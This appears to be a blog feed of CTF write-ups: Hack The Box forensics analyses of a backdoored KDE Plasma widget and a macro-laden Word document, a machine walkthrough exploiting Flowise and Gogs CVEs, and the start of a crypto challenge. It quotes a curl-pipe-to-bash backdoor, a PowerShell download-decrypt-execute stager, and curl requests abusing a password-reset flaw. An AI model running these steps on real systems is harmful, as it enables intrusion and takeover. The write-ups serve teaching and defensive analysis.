20
21
</pre></td><td class="rouge-code"><pre><span class="nv">$ </span><span class="nb">cd</span> .local
<span class="nv">$ </span><span class="nb">ls
</span>share

<span class="nv">$ </span><span class="nb">cd </span>share
<span class="nv">$ </span><span class="nb">ls
</span>Trash

<span class="nv">$ </span><span class="nb">cd </span>Trash
<span class="nv">$ </span><span class="nb">ls
</span>files  info

<span class="nv">$ </span><span class="nb">cd </span>files
<span class="nv">$ </span><span class="nb">ls
</span>deleted_notes.txt

<span class="nv">$ </span><span class="nb">cat </span>deleted_notes.txt
Old private notes:

Final encoded note:
VVRDTl9DVEZ7ZDNsMzczZF9kMDM1X24wN19tMzRuX2cwbjN9
</pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="weird-data---misc">Weird Data - Misc</h2>

<p>We have a <code class="language-plaintext highlighter-rouge">.gpx</code> file, which I uploaded to <a href="https://www.gpsvisualizer.com/map?output_home">gpsvisualizer.com</a> to plot the route defined by its coordinates. The resulting route is a graphical representation of the flag:</p>

<p><img src="/assets/img/semi/gps.png" alt="gps" /></p>

<h2 id="broken-university-logo---misc">Broken University Logo - Misc</h2>

<p>We have a PNG file, so the first thing I did was use <code class="language-plaintext highlighter-rouge">exiftool</code> to check all the metadata, where we can find the flag in a comment field:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
</pre></td><td class="rouge-code"><pre>┌──<span class="o">(</span>m9suu㉿kali<span class="o">)</span>-[~/Desktop/utcn]
└─<span class="nv">$ </span>exiftool utcn.png
ExifTool Version Number         : 13.50
File Name                       : utcn.png
Directory                       : <span class="nb">.</span>
File Size                       : 119 kB
.......
Comment                         : <span class="s1">'UTCN_CTF{c0mpr3553d_m374d474_b3475_57r1ng5}'</span>
....
</pre></td></tr></tbody></table></code></pre></div></div>]]></content><author><name>Y_isDown</name></author><category term="Forensics" /><category term="Crypto" /><category term="Misc" /><category term="Reverse Engineering" /><summary type="html"><![CDATA[2026 UTCN Google Cyber Security Seminars competition challenges write-ups]]></summary></entry><entry><title type="html">Sp00ky Theme</title><link href="https://yisdown.github.io/forensics/2026/06/12/sp00ky-theme/" rel="alternate" type="text/html" title="Sp00ky Theme" /><published>2026-06-12T00:00:00+00:00</published><updated>2026-06-12T00:00:00+00:00</updated><id>https://yisdown.github.io/forensics/2026/06/12/sp00ky-theme</id><content type="html" xml:base="https://yisdown.github.io/forensics/2026/06/12/sp00ky-theme/"><![CDATA[<h2 id="analysis">Analysis</h2>

<h3 id="challenge-description">Challenge Description</h3>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre>I downloaded a very nice Halloween global theme for my Plasma installation and a couple of widgets! 
It was supposed to keep the bad spirits away while I was improving my ricing skills... 
However, now strange things are happening and I can't figure out why...
</pre></td></tr></tbody></table></code></pre></div></div>

<p>In this challenge, we are given a folder named <code class="language-plaintext highlighter-rouge">plasma</code> containing three directories:</p>

<ol>
  <li><code class="language-plaintext highlighter-rouge">plasmoids</code></li>
  <li><code class="language-plaintext highlighter-rouge">look-and-feel</code></li>
  <li><code class="language-plaintext highlighter-rouge">desktoptheme</code></li>
</ol>

<p>While navigating through the <code class="language-plaintext highlighter-rouge">plasmoids</code> directory, I didn’t find anything particularly interesting at first. However, after inspecting the <code class="language-plaintext highlighter-rouge">utils.js</code> file inside one of the widget code directories, I discovered the following:</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
</pre></td><td class="rouge-code"><pre><span class="kd">const</span> <span class="nx">NET_DATA_SOURCE</span> <span class="o">=</span>
    <span class="dl">"</span><span class="s2">awk -v OFS=, 'NR &gt; 2 { print substr($1, 1, length($1)-1), $2, $10 }' /proc/net/dev</span><span class="dl">"</span><span class="p">;</span>

<span class="kd">const</span> <span class="nx">PLASMOID_UPDATE_SOURCE</span> <span class="o">=</span>
    <span class="dl">"</span><span class="s2">UPDATE_URL=$(echo 952MwBHNo9lb0M2X0FzX/Eycz02MoR3X5J2XkNjb3B3eCRFS | rev | base64 -d); curl $UPDATE_URL:1992/update_sh | bash</span><span class="dl">"</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>The first command simply collects network traffic statistics from <code class="language-plaintext highlighter-rouge">/proc/net/dev</code>.</p>

<p>The second command is much more suspicious. It reverses a string, decodes it using Base64, stores the result in <code class="language-plaintext highlighter-rouge">UPDATE_URL</code>, and then downloads and executes a script using:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>curl <span class="nv">$UPDATE_URL</span>:1992/update_sh | bash
</pre></td></tr></tbody></table></code></pre></div></div>

<p>This is a classic indicator of malicious behavior, as it downloads and immediately executes remote code.</p>

<p>To reveal the hidden URL, we need to reverse the string and decode it from Base64:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre><span class="nb">echo </span>952MwBHNo9lb0M2X0FzX/Eycz02MoR3X5J2XkNjb3B3eCRFS | rev | <span class="nb">base64</span> <span class="nt">-d</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Output:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>HTB{pwn3d_by_th3m3s!?_1t_c4n_h4pp3n}
</pre></td></tr></tbody></table></code></pre></div></div>

<p>The decoded value is actually the challenge flag.</p>

<h2 id="flag">Flag</h2>

<p><code class="language-plaintext highlighter-rouge">HTB{pwn3d_by_th3m3s!?_1t_c4n_h4pp3n}</code></p>]]></content><author><name>Y_isDown</name></author><category term="Forensics" /><category term="forensics" /><category term="linux" /><summary type="html"><![CDATA[Analyzing a malicious KDE Plasma theme that hides a backdoor inside a widget.]]></summary></entry><entry><title type="html">Silentium</title><link href="https://yisdown.github.io/machine/2026/06/12/silentium/" rel="alternate" type="text/html" title="Silentium" /><published>2026-06-12T00:00:00+00:00</published><updated>2026-06-12T00:00:00+00:00</updated><id>https://yisdown.github.io/machine/2026/06/12/silentium</id><content type="html" xml:base="https://yisdown.github.io/machine/2026/06/12/silentium/"><![CDATA[<h2 id="enumeration">Enumeration</h2>

<p>Initial enumeration revealed only SSH and HTTP exposed externally.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>nmap <span class="nt">-sC</span> <span class="nt">-sV</span> <span class="nt">-p-</span> <span class="nt">--min-rate</span> 5000 &lt;TARGET_IP&gt; <span class="nt">-oN</span> nmap.txt
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Results:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre>22/tcp open ssh
80/tcp open http
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Visiting the web application redirected to <code class="language-plaintext highlighter-rouge">silentium.htb</code>, so the hostname was added locally:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre><span class="nb">echo</span> <span class="s2">"&lt;TARGET_IP&gt; silentium.htb"</span> | <span class="nb">sudo tee</span> <span class="nt">-a</span> /etc/hosts
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Since only HTTP was exposed, virtual host enumeration was the next step.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
</pre></td><td class="rouge-code"><pre>gobuster vhost <span class="se">\</span>
<span class="nt">-u</span> http://silentium.htb <span class="se">\</span>
<span class="nt">-w</span> /usr/share/wordlists/dirb/common.txt <span class="se">\</span>
<span class="nt">--append-domain</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Discovered:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>staging.silentium.htb
</pre></td></tr></tbody></table></code></pre></div></div>

<p>After updating <code class="language-plaintext highlighter-rouge">/etc/hosts</code>, the new virtual host exposed a Flowise instance.</p>

<hr />

<h2 id="user-flag">User Flag</h2>

<h3 id="cve-2025-58434">CVE-2025-58434</h3>

<p>The Flowise instance exposed a vulnerable forgot-password endpoint that returned password reset tokens directly inside the API response:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
</pre></td><td class="rouge-code"><pre>curl <span class="nt">-X</span> POST <span class="se">\</span>
http://staging.silentium.htb/api/v1/account/forgot-password <span class="se">\</span>
<span class="nt">-H</span> <span class="s2">"Content-Type: application/json"</span> <span class="se">\</span>
<span class="nt">-d</span> <span class="s1">'{"user":{"email":"ben@silentium.htb"}}'</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>The response included a valid <code class="language-plaintext highlighter-rouge">tempToken</code>. The password was reset using:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
</pre></td><td class="rouge-code"><pre>curl <span class="nt">-X</span> POST <span class="se">\</span>
http://staging.silentium.htb/api/v1/account/reset-password <span class="se">\</span>
<span class="nt">-H</span> <span class="s2">"Content-Type: application/json"</span> <span class="se">\</span>
<span class="nt">-d</span> <span class="s1">'{
"tempToken":"&lt;TOKEN&gt;",
"password":"&lt;NEW_PASSWORD&gt;",
"confirmPassword":"&lt;NEW_PASSWORD&gt;"
}'</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>After authentication, access to the Flowise dashboard was obtained.</p>

<h3 id="cve-2025-59528">CVE-2025-59528</h3>

<p>Flowise 3.0.5 contained an insecure evaluation issue in <code class="language-plaintext highlighter-rouge">customMCP</code>.</p>

<p>Using the generated API key, arbitrary JavaScript execution was achieved through the endpoint:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>/api/v1/node-load-method/customMCP
</pre></td></tr></tbody></table></code></pre></div></div>

<p>This payload executed commands on the backend and returned a reverse shell. That landed a shell inside the Flowise Docker container.</p>

<h3 id="pivot-to-host">Pivot to Host</h3>

<p>Container enumeration revealed credentials stored in environment variables:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre><span class="nb">env</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Relevant values:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre>FLOWISE_USERNAME=ben
FLOWISE_PASSWORD=&lt;REDACTED&gt;
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Using SSH:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>ssh ben@silentium.htb
</pre></td></tr></tbody></table></code></pre></div></div>

<p>We obtained Host access and the User Flag.</p>

<hr />

<h2 id="privilege-escalation">Privilege Escalation</h2>

<p>Local enumeration identified an internal Gogs instance running as root. A tunnel exposed the service:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>ssh <span class="nt">-L</span> 8080:127.0.0.1:3001 ben@silentium.htb
</pre></td></tr></tbody></table></code></pre></div></div>

<h3 id="cve-2025-8110">CVE-2025-8110</h3>

<p>The vulnerability allowed arbitrary file modification through symlink handling.</p>

<p>A repository containing a symbolic link targeting <code class="language-plaintext highlighter-rouge">/etc/sudoers.d/</code> was created and updated through the API.</p>

<p>This granted passwordless sudo access.</p>

<p>Verification:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre><span class="nb">sudo id</span>
...
<span class="nv">uid</span><span class="o">=</span>0<span class="o">(</span>root<span class="o">)</span>
</pre></td></tr></tbody></table></code></pre></div></div>]]></content><author><name>Y_isDown</name></author><category term="Machine" /><category term="linux" /><summary type="html"><![CDATA[Exploiting Flowise and Gogs vulnerabilities.]]></summary></entry><entry><title type="html">MBCoin</title><link href="https://yisdown.github.io/forensics/2026/06/12/mbcoin/" rel="alternate" type="text/html" title="MBCoin" /><published>2026-06-12T00:00:00+00:00</published><updated>2026-06-12T00:00:00+00:00</updated><id>https://yisdown.github.io/forensics/2026/06/12/mbcoin</id><content type="html" xml:base="https://yisdown.github.io/forensics/2026/06/12/mbcoin/"><![CDATA[<h1 id="analysis">Analysis</h1>

<h2 id="challenge-description">Challenge Description</h2>

<p>“We have been actively monitoring the most extensive spear-phishing campaign in recent history for the last two months. This campaign abuses the current crypto market crash to target disappointed crypto owners. A company’s SOC team detected and provided us with a malicious email and some network traffic assessed to be associated with a user opening the document. Analyze the supplied files and figure out what happened.”</p>

<p>In this challenge, we are given a <code class="language-plaintext highlighter-rouge">.doc</code> file and a <code class="language-plaintext highlighter-rouge">.pcapng</code> file:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre><span class="nv">$ </span><span class="nb">ls
</span>mbcoin.doc  mbcoin.pcapng
</pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="doc-file">.doc File</h2>

<p>I started by analyzing the <code class="language-plaintext highlighter-rouge">mbcoin.doc</code> file using the <code class="language-plaintext highlighter-rouge">olevba</code> tool to detect macros and other suspicious functionality:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre><span class="nv">$ </span>olevba mbcoin.doc
</pre></td></tr></tbody></table></code></pre></div></div>

<p>The document contains a VBA macro named <code class="language-plaintext highlighter-rouge">bxh.bas</code>. Several strings are obfuscated using <code class="language-plaintext highlighter-rouge">StrReverse()</code>, making the malicious actions slightly harder to identify.</p>

<ol>
  <li>
    <p>The <code class="language-plaintext highlighter-rouge">AutoOpen()</code> macro executes automatically when the document is opened.</p>
  </li>
  <li>
    <p>The macro extracts a hidden VBS script stored inside the Alternative Text fields of two document shapes:</p>
  </li>
</ol>

<div class="language-vb highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
</pre></td><td class="rouge-code"><pre><span class="k">Dim</span> <span class="nv">QQ1</span> <span class="ow">As</span> <span class="kt">Object</span>
<span class="k">Set</span> <span class="n">QQ1</span> <span class="o">=</span> <span class="n">ActiveDocument</span><span class="p">.</span><span class="n">Shapes</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>

<span class="k">Dim</span> <span class="nv">QQ2</span> <span class="ow">As</span> <span class="kt">Object</span>
<span class="k">Set</span> <span class="n">QQ2</span> <span class="o">=</span> <span class="n">ActiveDocument</span><span class="p">.</span><span class="n">Shapes</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<ol>
  <li>It writes the extracted script to:
    <div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>C:\ProgramData\pin.vbs
</pre></td></tr></tbody></table></code></pre></div>    </div>
  </li>
  <li>It executes the script using <code class="language-plaintext highlighter-rouge">cscript.exe</code>:
    <div class="language-vb highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre><span class="n">fun</span> <span class="o">=</span> <span class="n">Shell</span><span class="p">(</span><span class="n">StrReverse</span><span class="p">(</span><span class="s">"sbv.nip\ataDmargorP\:C exe.tpircsc k/ dmc"</span><span class="p">),</span> <span class="n">Chr</span><span class="p">(</span><span class="mi">48</span><span class="p">))</span>
</pre></td></tr></tbody></table></code></pre></div>    </div>
  </li>
</ol>

<p>which deobfuscates to:</p>

<pre><code class="language-cmd">cmd /k cscript.exe C:\ProgramData\pin.vbs
</code></pre>
<ol>
  <li>Finally, it displays a decoy message:</li>
</ol>

<div class="language-vb highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre><span class="n">MsgBox</span> <span class="p">(</span><span class="s">"Unfortunately you are not eligable for free coin!"</span><span class="p">)</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>The VBS script can be recovered either by extracting the Alternative Text fields from Word or by executing the macro and retrieving <code class="language-plaintext highlighter-rouge">pin.vbs</code> from <code class="language-plaintext highlighter-rouge">C:\ProgramData</code>.</p>

<p>The script generates five download URLs and five corresponding XOR keys.</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
</pre></td><td class="rouge-code"><pre>1. http://priyacareers.htb/u9hDQN9Yy7g/pt.html → www1.dll
2. https://perfectdemos.htb/Gv1iNAuMKZ/jv.html → www2.dll
3. http://bussiness-z.htb/ze8pCNTIkrIS/wp.html → www3.dll
4. http://cablingpoint.htb/ByH5NDoE3kQA/vm.html → www4.dll
5. https://bonus.corporatebusinessmachines.htb/1Y0qVNce/tz.html → www5.dll
</pre></td></tr></tbody></table></code></pre></div></div>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
</pre></td><td class="rouge-code"><pre>www1: 6iIgloMk5iRYAw7ZTWed0CrjuZ9wijyQDjKO9Ms0D8K0Z2H5MX6wyOKqFxlOm1XpjmYfaQXacA6
www2: 6iIpcoMk5iRYAw7ZTWed0CrjuZ9wijyQDjAu9Ms0D8K0Z2H5MX6wyOKqFxlOm1PpjmYfaQXacA6
www3: 6iIWGoMk5iRYAw7ZTWed0CrjuZ9wijyQDjOL9Ms0D8K0Z2H5MX6wyOKqFxlOm1spjmYfaQXacA6
www4: 6iIoNoMk5iRYAw7ZTWed0CrjuZ9wijyQDjPy9Ms0D8K0Z2H5MX6wyOKqFxlOm1GpjmYfaQXacA6
www5: 6iIIEoMk5iRYAw7ZTWed0CrjuZ9wijyQDjYL9Ms0D8K0Z2H5MX6wyOKqFxlOm1apjmYfaQXacA6
</pre></td></tr></tbody></table></code></pre></div></div>

<p>The PowerShell commands generated by the VBS perform the following actions:</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
</pre></td><td class="rouge-code"><pre><span class="c"># 1. Download the encrypted file</span><span class="w">
</span><span class="p">(</span><span class="n">New-Object</span><span class="w"> </span><span class="nx">Net.WebClient</span><span class="p">)</span><span class="o">.</span><span class="nf">DownloadFile</span><span class="p">(</span><span class="w">
</span><span class="s1">'http://cablingpoint.htb/ByH5NDoE3kQA/vm.html'</span><span class="p">,</span><span class="w">
</span><span class="s1">'C:\ProgramData\www4.dll'</span><span class="w">
</span><span class="p">)</span><span class="w">

</span><span class="c"># 2. Read the encrypted bytes</span><span class="w">
</span><span class="nv">$b</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="n">System.IO.File</span><span class="p">]::</span><span class="n">ReadAllBytes</span><span class="p">(</span><span class="s1">'C:\ProgramData\www4.dll'</span><span class="p">)</span><span class="w">

</span><span class="c"># 3. XOR decrypt with the key</span><span class="w">
</span><span class="nv">$k</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s1">'6iIoNoMk5iRYAw7ZTWed0CrjuZ9wijyQDjPy9Ms0D8K0Z2H5MX6wyOKqFxlOm1GpjmYfaQXacA6'</span><span class="w">
</span><span class="nv">$r</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">New-Object</span><span class="w"> </span><span class="nx">Byte</span><span class="p">[]</span><span class="w"> </span><span class="nv">$b</span><span class="o">.</span><span class="nf">length</span><span class="w">

</span><span class="kr">for</span><span class="p">(</span><span class="nv">$i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span><span class="w"> </span><span class="nv">$i</span><span class="w"> </span><span class="o">-lt</span><span class="w"> </span><span class="nv">$b</span><span class="o">.</span><span class="nf">length</span><span class="p">;</span><span class="w"> </span><span class="nv">$i</span><span class="o">++</span><span class="p">){</span><span class="w">
    </span><span class="nv">$r</span><span class="p">[</span><span class="nv">$i</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$b</span><span class="p">[</span><span class="nv">$i</span><span class="p">]</span><span class="w"> </span><span class="o">-bxor</span><span class="w"> </span><span class="nv">$k</span><span class="p">[</span><span class="nv">$i</span><span class="w"> </span><span class="o">%</span><span class="w"> </span><span class="nv">$k</span><span class="o">.</span><span class="nf">length</span><span class="p">]</span><span class="w">
</span><span class="p">}</span><span class="w">

</span><span class="c"># 4. Write the decrypted DLL</span><span class="w">
</span><span class="p">[</span><span class="n">System.IO.File</span><span class="p">]::</span><span class="n">WriteAllBytes</span><span class="p">(</span><span class="w">
</span><span class="s1">'C:\ProgramData\www.dll'</span><span class="p">,</span><span class="w">
</span><span class="nv">$r</span><span class="w">
</span><span class="p">)</span><span class="w">

</span><span class="c"># 5. Execute it</span><span class="w">
</span><span class="n">rundll32</span><span class="w"> </span><span class="nx">C:\ProgramData\www.dll</span><span class="p">,</span><span class="nx">ldr</span><span class="w">
</span></pre></td></tr></tbody></table></code></pre></div></div>

<p>The VBS script repeats this process for all five URLs. Since each successful decryption overwrites <code class="language-plaintext highlighter-rouge">www.dll</code>, the last successfully decrypted payload is the one that gets executed.</p>

<h2 id="pcapng-file">.pcapng File</h2>

<p>After analyzing the document, I moved on to the network capture.</p>

<p>There are only 77 packets and 3 TCP streams, making the analysis relatively straightforward.</p>

<p>Stream 1:</p>

<p><img src="/assets/img/htb/mbcoin1.png" alt="mbcoin1" /></p>

<p>Stream 2:</p>

<p><img src="/assets/img/htb/mbcoin2.png" alt="mbcoin2" /></p>

<p>Stream 3:</p>

<p><img src="/assets/img/htb/mbcoin3.png" alt="mbcoin3" /></p>

<p>Based on the traffic, we can observe:</p>

<ol>
  <li>DNS resolves and downloads a binary blob.</li>
  <li>DNS resolution fails.</li>
  <li>DNS resolves but returns HTTP 404.</li>
  <li>DNS resolves and downloads another binary blob.</li>
  <li>DNS resolution fails.</li>
</ol>

<p>Because the script decrypts each payload sequentially and overwrites the output file on success, the fourth download (<code class="language-plaintext highlighter-rouge">vm.html</code>) is the payload that ultimately gets executed.</p>

<p>Using <code class="language-plaintext highlighter-rouge">tshark</code>, we can export the HTTP objects:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>tshark <span class="nt">-r</span> mbcoin.pcapng <span class="nt">--export-objects</span> http,extracted_files/
</pre></td></tr></tbody></table></code></pre></div></div>

<p>This extracts the downloaded files, including <code class="language-plaintext highlighter-rouge">vm.html</code>.</p>

<p>To decrypt the fourth payload, I used the following Python script:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
</pre></td><td class="rouge-code"><pre><span class="kn">from</span> <span class="n">itertools</span> <span class="kn">import</span> <span class="n">cycle</span>

<span class="n">data</span> <span class="o">=</span> <span class="nf">open</span><span class="p">(</span><span class="sh">'</span><span class="s">vm.html</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">rb</span><span class="sh">'</span><span class="p">).</span><span class="nf">read</span><span class="p">()</span>

<span class="n">key</span> <span class="o">=</span> <span class="sa">b</span><span class="sh">'</span><span class="s">6iIoNoMk5iRYAw7ZTWed0CrjuZ9wijyQDjPy9Ms0D8K0Z2H5MX6wyOKqFxlOm1GpjmYfaQXacA6</span><span class="sh">'</span>

<span class="n">out</span> <span class="o">=</span> <span class="nf">bytes</span><span class="p">([</span><span class="n">x</span> <span class="o">^</span> <span class="n">y</span> <span class="k">for</span> <span class="n">x</span><span class="p">,</span> <span class="n">y</span> <span class="ow">in</span> <span class="nf">zip</span><span class="p">(</span><span class="n">data</span><span class="p">,</span> <span class="nf">cycle</span><span class="p">(</span><span class="n">key</span><span class="p">))])</span>

<span class="nf">open</span><span class="p">(</span><span class="sh">'</span><span class="s">www.dll</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">wb</span><span class="sh">'</span><span class="p">).</span><span class="nf">write</span><span class="p">(</span><span class="n">out</span><span class="p">)</span>

<span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">Decrypted to www.dll</span><span class="sh">"</span><span class="p">)</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Running the script:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre><span class="nv">$ </span>python3 script.py
Decrypted to www.dll
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Now we can inspect the DLL with <code class="language-plaintext highlighter-rouge">strings</code>:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
</pre></td><td class="rouge-code"><pre><span class="nv">$ </span>strings <span class="nt">-e</span> l www.dll | <span class="nb">head</span> <span class="nt">-50</span>

Congratulations!
HTB<span class="o">{</span>wH4tS_4_sQuirReLw4fFl3?<span class="o">}</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="flag">Flag</h2>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>HTB{wH4tS_4_sQuirReLw4fFl3?}
</pre></td></tr></tbody></table></code></pre></div></div>]]></content><author><name>Y_isDown</name></author><category term="Forensics" /><category term="forensics" /><category term="linux" /><summary type="html"><![CDATA[Analysis of a malicious Word document and PCAP revealing a multi-stage VBA, PowerShell, and XOR-decrypted DLL attack chain.]]></summary></entry><entry><title type="html">bdlp</title><link href="https://yisdown.github.io/crypto/2026/06/11/bdlp/" rel="alternate" type="text/html" title="bdlp" /><published>2026-06-11T00:00:00+00:00</published><updated>2026-06-11T00:00:00+00:00</updated><id>https://yisdown.github.io/crypto/2026/06/11/bdlp</id><content type="html" xml:base="https://yisdown.github.io/crypto/2026/06/11/bdlp/"><![CDATA[<h2 id="analysis">Analysis</h2>

<p>In this crypto challenge, we are given 3 files: <code class="language-plaintext highlighter-rouge">chall.py</code>, <code class="language-plaintext highlighter-rouge">secrets.py</code>, and <code class="language-plaintext highlighter-rouge">output.txt</code>.
 Chall.py:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
</pre></td><td class="rouge-code"><pre><span class="kn">from</span> <span class="n">Crypto.Util.number</span> <span class="kn">import</span> <span class="n">getPrime</span><span class="p">,</span> <span class="n">bytes_to_long</span> <span class="k">as</span> <span class="n">b2l</span>
<span class="kn">from</span> <span class="n">secrets</span> <span class="kn">import</span> <span class="n">sUp3r_s3cr3t_value</span> <span class="k">as</span> <span class="n">x</span>

<span class="n">p</span> <span class="o">=</span> <span class="nf">getPrime</span><span class="p">(</span><span class="mi">16</span><span class="p">)</span>
<span class="n">g</span> <span class="o">=</span> <span class="mi">2</span>
<span class="n">y</span> <span class="o">=</span> <span class="nf">pow</span><span class="p">(</span><span class="n">g</span><span class="p">,</span> <span class="n">x</span><span class="p">,</span> <span class="n">p</span><span class="p">)</span>

